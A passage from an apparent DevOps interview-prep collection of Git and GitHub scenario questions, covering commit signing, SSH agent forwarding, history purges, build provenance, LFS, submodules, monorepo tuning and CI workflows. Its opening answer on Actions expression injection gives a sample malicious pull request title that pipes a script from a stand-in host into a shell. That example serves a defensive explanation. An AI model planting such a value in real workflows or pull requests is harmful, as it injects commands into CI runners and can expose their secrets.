Situation read โ†’ ${{ github.event.pull_request.title }} is expanded into the script before the shell runs, so a crafted title can inject commands.

What I'd do โ†’

  1. Never interpolate untrusted fields (title, body, branch name, commit message) directly in run:.
  2. Pass them through environment variables:
yaml
- env:
    TITLE: ${{ github.event.pull_request.title }}
  run: echo "$TITLE"
  1. Run zizmor or CodeQL's Actions queries to find such patterns.
  2. Keep GITHUB_TOKEN permissions minimal.

Why โ†’ An env var is data to the shell, whereas inline expansion is code.

Interview tip โ†’ A title like "; curl evil.sh | sh # is a good concrete example.

Copy link
Q169

Before deploying, you want to confirm a release tag and commit were really created by your maintainers.

Beginner

Situation read โ†’ Signed tags and commits can be verified.

What I'd do โ†’

  1. git verify-tag v2.5.0 and git verify-commit <sha>.
  2. git log --show-signature -1 v2.5.0.
  3. Make sure the signer's key is trusted (allowed signers file for SSH, keyring for GPG).
  4. Fail the pipeline if verification fails.

Why โ†’ A valid signature proves the key holder created it, not that the content is safe.

Interview tip โ†’ Signature plus branch protection plus review gives a real chain of trust.

Copy link
Q170

A teammate enables SSH agent forwarding to every host for convenience.

Intermediate

Situation read โ†’ A forwarded agent lets root on the remote host use your keys while you are connected.

What I'd do โ†’

  1. Disable the global setting: ForwardAgent no by default in ~/.ssh/config.
  2. For hops to a bastion, use ProxyJump instead: ssh -J bastion app01.
  3. For Git on servers, use deploy keys or short-lived tokens, not personal keys.
  4. Use hardware-backed keys that require touch for each use.

Why โ†’ ProxyJump gives the same convenience without exposing the agent.

Interview tip โ†’ Mention ssh-add -c (confirm on use) as a mitigation.

Copy link
Q171

Legal asks for personal data in old commits to be erased entirely.

Advanced

Situation read โ†’ This is the same operation as a secret purge, with extra legal tracking.

What I'd do โ†’

  1. Identify exact files and strings with git log -S'<value>' --all and git grep across history.
  2. Rewrite with git filter-repo (path or text replacement) on a mirror clone.
  3. Force-push all refs, invalidate caches, delete forks and old clones, rebuild CI caches and artifacts.
  4. Ask GitHub Support to remove cached references and PR refs; record each step for compliance.

Why โ†’ Anything pushed may be in forks, clones, CI logs and backups, so the process is wider than Git.

Interview tip โ†’ Prevention: never commit real personal data into test fixtures.

Copy link
Q172

You removed a secret from branches, but the old commit still opens through a PR link.

Advanced

Situation read โ†’ GitHub retains refs/pull/* and cached commit views even after history is rewritten.

What I'd do โ†’

  1. Confirm the secret is rotated; that is the real fix.
  2. Contact GitHub Support with the commit SHAs to remove cached views and PR refs, as the refs are read-only to you.
  3. Check forks and ask owners to delete them.
  4. Record the incident and stop reusing the old repo state.

Why โ†’ You cannot delete refs/pull/* yourself, so rotation is the dependable control.

Interview tip โ†’ If a secret was public for any time, treat it as burned regardless.

Copy link
Q173

Customers ask for proof that the binary you ship was built from your repository by your pipeline.

Advanced

Situation read โ†’ They want build provenance, not just a checksum.

What I'd do โ†’

  1. Generate SLSA-style provenance with GitHub artifact attestations:
yaml
permissions:
  id-token: write
  attestations: write
  contents: read
steps:
  - uses: actions/attest-build-provenance@v2
    with:
      subject-path: dist/app.tar.gz
  1. Customers verify: gh attestation verify dist/app.tar.gz --repo ORG/app.
  2. Publish an SBOM alongside the release.
  3. Sign container images with cosign if you ship images.

Why โ†’ The attestation ties the artifact to the repo, commit and workflow that built it.

Interview tip โ†’ Mention SLSA levels and that hosted runners help meet them.

Copy link
Q174

New developers keep committing .env, IDE folders and OS junk files.

Beginner

Situation read โ†’ Good ignore rules prevent most accidents.

What I'd do โ†’

  1. Maintain a project .gitignore using a language template, with .env* except .env.example.
  2. Keep personal junk in a global ignore: git config --global core.excludesFile ~/.gitignore_global.
  3. Check why a file is ignored: git check-ignore -v path.
  4. Add .env scanning to pre-commit.

Why โ†’ Project rules cover project artifacts; global rules cover your editor and OS.

Interview tip โ†’ .gitignore never affects files that are already tracked.

Copy link
Q175

Shared build agents run as one user, and developers worry about stored Git credentials.

Intermediate

Situation read โ†’ Credentials cached on shared hosts can leak between jobs.

What I'd do โ†’

  1. Do not use credential.helper store (plain text). Use ephemeral tokens injected per job.
  2. In GitHub Actions use GITHUB_TOKEN via actions/checkout, set persist-credentials: false if later steps do not need Git.
  3. Use ephemeral or containerised runners that are destroyed after each job.
  4. Clean ~/.git-credentials and agent sockets if the host is reused.

Why โ†’ Per-job short-lived credentials leave nothing behind to steal.

Interview tip โ†’ Self-hosted runners on public repos are a serious risk; avoid them or isolate them.

Copy link

Scale, Submodules, LFS and GitHub Automation

๐ŸŽฅ Learn this hands-on with DevOps Shack โ†’ YouTube @devopsshack ยท Hindi @shackverse ยท Courses at devopsshack.com

Q176

A monorepo has 4 GB of history and developers only touch one service. How do you make their day-to-day faster?

Intermediate

Situation read โ†’ Most developers do not need all files or all blobs locally.

What I'd do โ†’

  1. Partial clone: git clone --filter=blob:none --sparse URL.
  2. Limit the working tree: git sparse-checkout set services/billing libs/common.
  3. Enable core.fsmonitor and feature.manyFiles for faster status.
  4. Run git maintenance start for background prefetch and commit-graph updates.

Why โ†’ Blobs download on demand, and only needed paths are checked out.

Interview tip โ†’ Know the difference: shallow limits history depth, partial clone limits object types.

Copy link
Q177

Designers commit PSD and video assets, and the repo keeps growing. How do you move them to Git LFS?

Intermediate

Situation read โ†’ New files can be tracked going forward, but history already holds the blobs.

What I'd do โ†’

  1. git lfs install and git lfs track "*.psd" "*.mp4"; commit .gitattributes.
  2. Convert existing history on a mirror clone: git lfs migrate import --include="*.psd,*.mp4" --everything.
  3. Force-push and have everyone re-clone.
  4. Check: git lfs ls-files and git lfs status.

Why โ†’ Git stores small pointer files, and the real content lives on the LFS server.

Interview tip โ†’ migrate import rewrites history, so do it once and coordinate.

Copy link
Q178

Your GitHub LFS bandwidth quota is exhausted and CI pulls fail. What do you do?

Advanced

Situation read โ†’ Every CI checkout downloads LFS objects, which counts against bandwidth.

What I'd do โ†’

  1. Short term: buy a data pack or raise the budget to unblock builds.
  2. Reduce downloads: do not fetch LFS in jobs that do not need it (lfs: false in actions/checkout); fetch selectively with git lfs pull --include.
  3. Cache LFS objects between runs (actions/cache on .git/lfs).
  4. Long term, consider moving big assets to object storage (S3) with versioned references, or a self-hosted LFS server.

Why โ†’ Most CI jobs, such as linting, never need the binaries.

Interview tip โ†’ Forks also draw bandwidth from the upstream owner's quota.

Copy link
Q179

A repository uses a submodule. How does a developer get the right version of it?

Beginner

Situation read โ†’ The parent repo pins the submodule to an exact commit.

What I'd do โ†’

  1. Fresh clone: git clone --recurse-submodules URL.
  2. Existing clone: git submodule update --init --recursive.
  3. After pulling the parent, run git submodule update to match the pinned commit.
  4. Set git config submodule.recurse true to automate it.

Why โ†’ The submodule shows as a pointer; nothing updates it unless you run the command.

Interview tip โ†’ A "modified: libs/shared (new commits)" status means your checkout differs from the pin.

Copy link
Q180

Submodules, subtree or a package manager for sharing code between repos?

Intermediate

Situation read โ†’ The choice depends on how often the shared code changes and who edits it.

What I'd do โ†’

  1. Prefer a package manager (npm, PyPI, Maven, Go modules) for libraries with versioned releases.
  2. Use submodules when you need an exact commit of a non-packaged repo, and the team accepts the extra commands.
  3. Use git subtree when you want the code inside the repo with plain clone behaviour.
  4. Choose a monorepo if teams change both sides together constantly.

Why โ†’ Packages give semantic versions and caching; submodules give exact pins but poor ergonomics.

Interview tip โ†’ Acknowledge that submodules are a common source of onboarding pain.

Copy link
Q181

CI cannot clone a private submodule: authentication fails in actions/checkout.

Intermediate

Situation read โ†’ GITHUB_TOKEN is scoped to the current repository only.

What I'd do โ†’

  1. Use a deploy key, GitHub App token or fine-grained PAT with read access to the submodule repo.
  2. In the workflow:
yaml
- uses: actions/checkout@v4
  with:
    submodules: recursive
    token: ${{ secrets.SUBMODULE_READ_TOKEN }}
  1. If .gitmodules uses SSH URLs, pass ssh-key instead.
  2. Keep the token read-only and rotate it.

Why โ†’ The default token cannot see other private repositories.

Interview tip โ†’ Using HTTPS URLs in .gitmodules makes CI auth simpler.

Copy link
Q182

You must remove a submodule completely.

Beginner

Situation read โ†’ A submodule leaves traces in three places: index, .gitmodules and .git/modules.

What I'd do โ†’

  1. git submodule deinit -f libs/shared.
  2. git rm -f libs/shared (also edits .gitmodules).
  3. rm -rf .git/modules/libs/shared.
  4. Commit the change.

Why โ†’ Skipping the last step leaves stale metadata that breaks re-adding it later.

Interview tip โ†’ Know that deleting only the directory is a classic mistake.

Copy link
Q183

A merge shows a conflict on a submodule path, not on files. What is it?

Intermediate

Situation read โ†’ Both branches moved the submodule pointer to different commits.

What I'd do โ†’

  1. git diff shows Subproject commit lines for each side.
  2. Pick the correct commit, often the newer one, if one contains the other: cd libs/shared && git log --oneline --graph A B.
  3. git add libs/shared after checking out the chosen commit, then continue the merge.
  4. Test the parent project with that pointer.

Why โ†’ The parent only records a SHA, so the conflict is a choice between two SHAs.

Interview tip โ†’ If neither contains the other, merge inside the submodule first.

Copy link
Q184

A huge repo makes git status and git log slow. What do you tune?

Advanced

Situation read โ†’ Large trees and many packfiles slow down core commands.

What I'd do โ†’

  1. Enable background maintenance: git maintenance start.
  2. Write the commit graph: git commit-graph write --reachable --changed-paths.
  3. Turn on core.fsmonitor=true and core.untrackedCache=true; consider feature.manyFiles=true.
  4. Repack and tune: git repack -adf --depth=50 --window=250; check with git count-objects -vH.
  5. Diagnose hot spots with GIT_TRACE2_PERF=1 git status.

Why โ†’ Commit-graph and fsmonitor avoid walking everything each time.

Interview tip โ†’ Measure first with GIT_TRACE2_PERF, then tune.

Copy link
Q185

You want issues and PRs labelled automatically and stale ones closed.

Beginner

Situation read โ†’ Housekeeping should not rely on people remembering.

What I'd do โ†’

  1. Use actions/labeler with a .github/labeler.yml mapping paths to labels.
  2. Use actions/stale on a schedule to warn and close inactive items.
  3. Use issue forms and PR templates to collect the right data.
  4. Add the workflows with minimal permissions (issues: write, pull-requests: write).

Why โ†’ Automation keeps the backlog usable with no human effort.

Interview tip โ†’ Exempt labels such as security and pinned from stale closing.

Copy link
Q186

Fifty repositories copy-paste the same CI workflow. How do you maintain it centrally?

Intermediate

Situation read โ†’ Copies drift, and fixes need fifty PRs.

What I'd do โ†’

  1. Write a reusable workflow with on: workflow_call in a central repo.
  2. Call it:
yaml
jobs:
  ci:
    uses: acme/.github/.github/workflows/node-ci.yml@v2
    with:
      node-version: 22
    secrets: inherit
  1. Version it with tags and pin callers to @v2.
  2. Use organisation workflow templates for new repos.

Why โ†’ One place to patch, versioned like a library.

Interview tip โ†’ Know when a composite action fits better: it bundles steps, not whole jobs.

Copy link
Q187

You need to apply a change (a new CODEOWNERS file) to 80 repositories.

Intermediate

Situation read โ†’ Do it with a script, and still go through PRs.

What I'd do โ†’

  1. List repos: gh repo list ORG --limit 200 --json name -q '.[].name'.
  2. Per repo: clone shallowly, branch, add the file, push, and gh pr create --fill.
  3. Review failures and track merges with gh search prs --owner ORG --label bulk-change.
  4. For ongoing needs use org-level rulesets or required workflows instead of per-repo files.

Why โ†’ PRs keep the audit trail and let owners object.

Interview tip โ†’ Tools like Renovate, Sourcegraph batch changes, or gh scripts all fit.

Copy link
Q188

New repositories should start with standard files, protections and CI.

Beginner

Situation read โ†’ Consistent starting points reduce setup mistakes.

What I'd do โ†’

  1. Create a template repository with README, LICENSE, CI, CODEOWNERS, .gitignore.
  2. Add an organisation .github repo for default issue and PR templates, SECURITY.md and CODE_OF_CONDUCT.md.
  3. Apply org-level rulesets so every repo gets baseline protection.
  4. Optionally automate repo creation with Terraform.

Why โ†’ Defaults inherited at creation are far more reliable than a checklist.

Interview tip โ†’ Template repositories are not forks; they start with clean history.

Copy link
Q189

Your workflows reference many actions, and nobody updates them.

Beginner

Situation read โ†’ Outdated actions miss security fixes and Node runtime updates.

What I'd do โ†’

  1. Add Dependabot for Actions:
yaml
version: 2
updates:
  - package-ecosystem: github-actions
    directory: /
    schedule:
      interval: weekly
  1. Review the PRs; CI shows whether anything broke.
  2. Combine with SHA pinning so Dependabot updates the hash.

Why โ†’ Small, regular bumps are safer than one huge upgrade after two years.

Interview tip โ†’ It works for Docker, npm, pip and Terraform too.

Copy link
Q190

A team is moving from SVN to Git with ten years of history.

Advanced

Situation read โ†’ You need history conversion, author mapping, and a workflow change.

What I'd do โ†’

  1. Build an authors file mapping SVN usernames to name and email.
  2. Convert: git svn clone --stdlayout --authors-file=authors.txt URL repo.
  3. Convert SVN branches and tags to Git refs, check history, and clean up large files (consider LFS).
  4. Freeze SVN, run a final sync, switch CI, and train the team on Git.

Why โ†’ A good author map and a clean cut-over avoid broken blame and lost traceability.

Interview tip โ†’ Rehearse the migration on a copy first; measure time and size.

Copy link
Q191

In a monorepo, CI runs only for changed paths, but required checks then never appear for some PRs.

Advanced

Situation read โ†’ Path-filtered workflows do not run when files outside the filter change, so required checks stay pending.

What I'd do โ†’

  1. Remove paths: filters from the workflow trigger and detect changes inside the job (for example dorny/paths-filter).
  2. Skip heavy jobs with if: conditions; skipped jobs count as passed.
  3. Add a single always-running gate job and make only that required.
  4. Use a merge queue with the same checks.

Why โ†’ A job-level skip reports a status, but a workflow that never triggered reports none.

Interview tip โ†’ This exact problem appears in nearly every monorepo migration.

Copy link
Q192

You want a disaster-recovery copy of all your GitHub repositories.

Intermediate

Situation read โ†’ Git data is easy to back up; GitHub metadata is not.

What I'd do โ†’

  1. Scheduled mirror: git clone --mirror then regular git remote update --prune, stored in object storage.
  2. Export metadata (issues, PRs, wikis) via the API or the migrations API.
  3. Back up Actions secrets configuration as code (Terraform), not values.
  4. Test a restore regularly.

Why โ†’ A backup that has never been restored is a hope, not a backup.

Interview tip โ†’ Every developer clone is also a partial backup of code, but not of issues or PRs.

Copy link
Q193

A project is finished. How do you retire its repository properly?

Beginner

Situation read โ†’ Keep history, stop changes, and tell users.

What I'd do โ†’

  1. Update the README with a deprecation note and a pointer to the replacement.
  2. Close or triage open issues and PRs.
  3. Remove secrets, webhooks and deploy keys.
  4. Archive the repo (Settings โ†’ Archive); it becomes read-only. Transfer ownership first if needed.

Why โ†’ Archived repos keep their history and links but cannot receive changes.

Interview tip โ†’ Unarchive is possible, so archiving is reversible.

Copy link
Q194

A repository has one million files and git status takes 30 seconds.

Advanced

Situation read โ†’ Git scans the tree for changes. You need to avoid full scans.

What I'd do โ†’

  1. git config core.fsmonitor true and core.untrackedCache true (built-in FSMonitor on macOS and Windows; Watchman on Linux).
  2. git update-index --index-version 4, or feature.manyFiles=true, which also enables these.
  3. Use sparse-checkout in cone mode and sparse index: git sparse-checkout init --cone --sparse-index.
  4. Time with GIT_TRACE2_PERF=1 git status.

Why โ†’ FSMonitor reports changed paths so Git does not scan everything.

Interview tip โ†’ Microsoft built these features for the Windows repo, which is the usual example.

Copy link
Q195

Every PR should get its own preview environment, cleaned up automatically.

Intermediate

Situation read โ†’ Environments must be created on open and destroyed on close.

What I'd do โ†’

  1. Trigger on pull_request with types opened, synchronize, reopened and closed.
  2. Name resources with the PR number (app-pr-482) and deploy to a namespace or stack.
  3. On closed, run a teardown job; also run a nightly sweeper for leftovers.
  4. Post the preview URL as a PR comment and use a GitHub deployment for status.

Why โ†’ Reviewers test real behaviour, and cost stays bounded by cleanup.

Interview tip โ†’ Never give fork PRs access to deployment secrets.

Copy link
Q196

Developers push several times quickly, and Actions queues redundant runs.

Intermediate

Situation read โ†’ Only the latest commit of a branch needs CI.

What I'd do โ†’

  1. Add concurrency to the workflow:
yaml
concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: true
  1. Do not cancel on main or deploy jobs; use cancel-in-progress: ${{ github.ref != 'refs/heads/main' }}.
  2. Check runner usage afterwards.

Why โ†’ Cancelling stale runs saves minutes and cost.

Interview tip โ†’ Never cancel deploys mid-flight.

Copy link
Q197

A game studio edits Unity scenes and PSD files, and merges of binary files keep destroying work.

Advanced

Situation read โ†’ Binary files cannot be merged, so concurrent edits mean one person's work is lost.

What I'd do โ†’

  1. Track binaries with LFS and mark them lockable: git lfs track "*.psd" --lockable.
  2. Artists lock before editing: git lfs lock art/hero.psd, and unlock when pushed.
  3. Lockable files are read-only locally until locked, preventing accidents.
  4. Set Unity to text-based YAML serialisation and use its smart merge tool for scenes.

Why โ†’ Locks turn a merge problem into a coordination problem, which is solvable.

Interview tip โ†’ git lfs locks shows who holds what.

Copy link
Q198

New hires lose days to environment setup. How can Git hosting help?

Beginner

Situation read โ†’ The environment should be code in the repo.

What I'd do โ†’

  1. Add a .devcontainer/devcontainer.json with the toolchain and extensions.
  2. Let new hires open a Codespace, or use the same file locally in VS Code.
  3. Keep a make setup that installs hooks and dependencies.
  4. Prebuild Codespaces to cut startup time.

Why โ†’ One definition gives everyone the same environment, so setup bugs vanish.

Interview tip โ†’ Devcontainers work outside Codespaces, so no lock-in.

Copy link
Q199

With 600 repos and 40 teams, nobody knows who owns what. How do you fix ownership at scale?

Advanced

Situation read โ†’ Ownership data scattered across READMEs goes stale.

What I'd do โ†’

  1. Define repository custom properties (owner-team, tier, lifecycle) at org level and require them.
  2. Use org rulesets targeting repos by property, for example stricter rules for tier=1.
  3. Sync GitHub teams from the identity provider (SSO and SCIM).
  4. Use CODEOWNERS with teams, and run a quarterly report for repos lacking owners.

Why โ†’ Machine-readable ownership lets policy and alerts apply automatically.

Interview tip โ†’ Connect it to incident response: ownership answers "who gets paged".

Copy link
Q200

GitHub has an outage during a critical release. How do you keep shipping?

Advanced

Situation read โ†’ A dependency on one SaaS is a single point of failure for deployments.

What I'd do โ†’

  1. Check the GitHub status page first, and tell the team to avoid retry storms.
  2. If a mirror exists (a GitLab, Gitea or bare repo kept in sync), build from it; otherwise any developer clone has the commit and can push to the internal mirror.
  3. Build artifacts from a known SHA and deploy through the CD tool, not through GitHub UI.
  4. After the outage, reconcile: push mirror commits back and review any manual steps.

Why โ†’ Git is distributed; the outage only blocks collaboration features, and artifacts you already built are unaffected.

Interview tip โ†’ Describe the mirror and break-glass deploy path as something you rehearse in advance.

Copy link
Feedback